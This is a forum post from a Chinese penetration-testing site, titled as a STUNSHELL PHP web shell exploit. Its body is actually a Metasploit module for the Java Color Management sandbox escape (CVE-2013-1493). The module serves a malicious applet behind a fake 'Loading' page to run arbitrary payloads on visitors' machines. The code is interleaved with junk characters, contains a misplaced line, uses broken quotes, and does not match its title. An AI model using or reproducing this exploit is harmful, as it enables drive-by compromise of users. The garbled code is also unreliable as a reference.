中国网络渗透测试联盟
标题:
STUNSHELL PHP Web Shell远程执行代码
[打印本页]
作者:
admin
时间:
2013-4-4 17:31
标题:
STUNSHELL PHP Web Shell远程执行代码
##
+ @ D7 }8 N2 T$ p' y: ~0 k% r
" ~( ?- J$ V; y0 n
# This file is part of the Metasploit Framework and may be subject to
3 f$ u& j6 ?$ k' D5 F, Q
# redistribution and commercial restrictions. Please see the Metasploit
5 Q" i- a2 }) V1 Q8 B0 B& M
# web site for more information on licensing and terms of use.
- K1 |4 D, K J* P" ?
#
http://metasploit.com/
' b! R" d. d8 `* \- _% ^+ @$ N
##
4 ^% O3 k2 A# B; F
require ‘msf/core’
( N! l7 V: Q6 x- s: c% s. A$ H6 t
require ‘rex’
I& U- w3 P0 K& S8 a
class Metasploit3 < Msf::Exploit::Remote
% l* N' \4 H. t/ q* k2 X
Rank = NormalRanking
+ H& A! d" {) V) }3 T& ]1 D
include Msf::Exploit::Remote::HttpServer::HTML
/ g" r" L/ W5 U) g8 | j; g5 q
include Msf::Exploit::EXE
( _& J( J6 B% B, c1 e$ o; {
include Msf::Exploit::Remote::BrowserAutopwn
5 _: n" ^' D5 S" \
autopwn_info({ :javascript => false })
0 X+ F+ G& ~1 O
def initialize( info = {} )
) D6 n# o* J n* x1 P; N* ~ i
super( update_info( info,
' a# z; O/ b* Y6 T+ N% V7 s1 y. u# U
‘Name’ => ‘Java CMM Remote Code Execution’,
6 g% J( Y1 x& h: J+ u# z
‘Description’ => %q{
1 h" J. E& ~% _
This module abuses the Color Management classes from a Java Applet to run
2 |4 {+ W" ]9 e% L2 v* b" _
arbitrary Java code outside of the sandbox as exploited in the wild in February
8 x- \, u* t+ M$ i
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
! i [: g' K3 Z }
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
) w" m5 q* T$ [. E# E
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
2 m: m* v( |- `1 L! l! {
warning in order to run the malicious applet.
: n: s R' k6 V6 E
},
% h$ A- w8 K) H% V
‘License’ => MSF_LICENSE,
B) o) U, L! A+ }. w
‘Author’ =>
% |$ R9 r* E2 r# ~
'Unknown', # Vulnerability discovery and Exploit
# i5 j9 Q6 r, B. @6 a6 M
'juan vazquez' # Metasploit module (just ported the published exploit)
, |, X6 i" Z2 h; A- w
],
/ ?1 Z7 i, M0 E8 m
‘References’ =>
4 N' z; B8 h: M
[
4 c( ?7 o" ?0 u u8 Z5 r
[ 'CVE', '2013-1493' ],
. T( \: q C8 G: j
[ 'OSVDB', '90737' ],
' t6 ]3 c4 m& N5 f `+ i9 h- u
[ 'BID', '58238' ],
, z1 w2 t7 U1 A* `
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
& o5 l% N/ S! ~3 `
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
: t5 E, [# F, X) i$ y
[ 'URL', 'http://pastie.org/pastes/6581034' ]
7 I; h! v( M$ h: i3 _! K4 U: I
],
3 ~6 D; |9 V0 H: s) m
‘Platform’ => [ 'win', 'java' ],
8 |/ @( H6 ]$ w& s
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
' N6 k" r# ]3 p4 a5 k- T
‘Targets’ =>
+ f4 p8 C0 K ]4 o5 E
[
% }/ f# j" x2 O" Q4 v" _% T
[ 'Generic (Java Payload)',
8 }9 l4 h1 a- W
{
% }0 K$ I! m5 y+ V; j) L
'Platform' => 'java',
1 p- n& q" D( u5 i# o8 B- z
'Arch' => ARCH_JAVA
, L4 r8 a0 k# o: r! `
}
' S$ H5 F6 u& D5 b l. G3 i
],
. \9 X- e M( q! f6 I: }8 ~& j
[ 'Windows x86 (Native Payload)',
) o+ `# N" {) Q9 Z7 O% S, A
{
5 v6 u* N& ?) r! Z* y3 L a# I
'Platform' => 'win',
+ `: u' w: [: Y# i6 x- M2 o
'Arch' => ARCH_X86
" d' ?5 N8 Y5 T
}
( V4 _9 {. C1 v
]
; }% U2 _2 a& }
],
& S% `2 X; m/ C% d: \9 D
‘‘DisclosureDate’ => ‘Mar 01 2013′
2 O0 @, _! N$ ^" v7 N9 ?
))
8 b B8 w0 t( O8 W! |
end
+ N7 ?- V$ e! B; u
def setup
3 l2 v7 h, x/ Q
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
6 w; ]" w; o1 y8 A0 }! @; Z; H6 _
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
$ j9 D( r2 H& [( q8 T f O
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
8 w, ]- z7 R" S: K& w
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
6 p$ f* n. p+ H! W4 A$ [8 j
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
6 g# D4 {, U0 s6 K
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
! t% w: h/ o) n( t0 f
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
6 }( r# I. C0 P% q1 M6 g6 [# h
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
% Z6 E) I. G9 D8 j0 n) M) C% N# X3 O
@init_class_name = rand_text_alpha(“Init”.length)
/ o Q# d0 v( L' g2 v4 w
@init_class.gsub!(“Init”, @init_class_name)
5 @( k% b( B& X! k! t6 T9 I$ Q
super
0 v. V9 {. I i! N% U
end
4 Y% ?, x; h4 [# i: @! b
def on_request_uri(cli, request)
* }: @3 o* D3 M
print_status(“handling request for #{request.uri}”)
" t& K, i0 J3 M9 }
case request.uri
7 M5 o0 d& [; [4 a8 }4 H$ O! I, q2 r/ J, p
when /\.jar$/i
/ Q+ c- d8 n# P3 Y9 M; d' k! n* C
jar = payload.encoded_jar
5 R- o: D P, K: J$ P5 P
jar.add_file(“#{@init_class_name}.class”, @init_class)
1 _$ G3 \8 U: j% ]& J
jar.add_file(“Leak.class”, @leak_class)
, `3 D9 H2 y2 r* m8 [2 ?
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
5 i; j6 q! o) Q9 j
jar.add_file(“MyColorSpace.class”, @color_space_class)
9 X2 t/ H& `8 o T& u: a0 Q
DefaultTarget’ => 1,
8 \0 P) q/ r7 t* k6 j \% F
metasploit_str = rand_text_alpha(“metasploit”.length)
2 F( G1 j( z# l( d$ g' K
payload_str = rand_text_alpha(“payload”.length)
9 U1 ~& u$ i+ ~5 X
jar.entries.each { |entry|
, E0 o$ z$ e/ Q0 w1 [* i
entry.name.gsub!(“metasploit”, metasploit_str)
) [9 ?7 n: w3 p0 g
entry.name.gsub!(“Payload”, payload_str)
1 x* o: l; G1 _: Z1 o. }
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
" l. `3 N5 n6 P9 b/ M8 K0 @3 |
entry.data = entry.data.gsub(“Payload”, payload_str)
* r. f) U$ s2 i
}
0 R( F+ `* s* j- L
jar.build_manifest
: C" S/ c6 R; W: i' ?
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
% o- q; k1 Z4 U9 M$ ~* L
when /\/$/
$ O6 w+ c0 O. j' {7 {
payload = regenerate_payload(cli)
O( i6 V; K# W: t9 p" y
if not payload
1 C) A! Y& O. J1 Y
print_error(“Failed to generate the payload.”)
$ \4 I, S% G$ K1 k
send_not_found(cli)
7 \: S% t9 p7 q) l' F$ R
return
) I8 Y7 _* e5 w# c4 j, z" ~
end
7 u; ]) V8 S, D" \# N% q! W: W8 a
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
+ A5 G# m s& ^( C Q9 ~2 m; e
else
. \# }1 ?4 _- [/ j# Y3 f
send_redirect(cli, get_resource() + ‘/’, ”)
8 @) v1 O. Z; {9 Y9 l) j5 s1 s" c8 t" M
end
- o5 @0 o- I4 ?6 Y* I
end
3 ?. ]; ]. X2 A& q2 g0 X! l" i, D
def generate_html
5 }5 G4 ^# I- e3 a, X4 O8 b1 ]
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
& @ S6 m6 P- g" [/ u) e( j2 ?
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
- g U8 C5 v; L$ }, V+ _/ D
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
/ P/ [: x' X% H1 F: o6 Z/ N3 w
html += %Q|</applet></body></html>|
/ z5 N# a4 @2 E5 i/ Z9 S3 k. ]0 l
return html
& y& q! i% d, E( z4 _3 X* a
end
; y. C& H9 S3 l( }2 ^: s
end
# v; K' L2 E, ~1 E, Z% F
end
. d9 R) N5 {7 W: \# n' l6 D' j+ j- e: u3 w
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2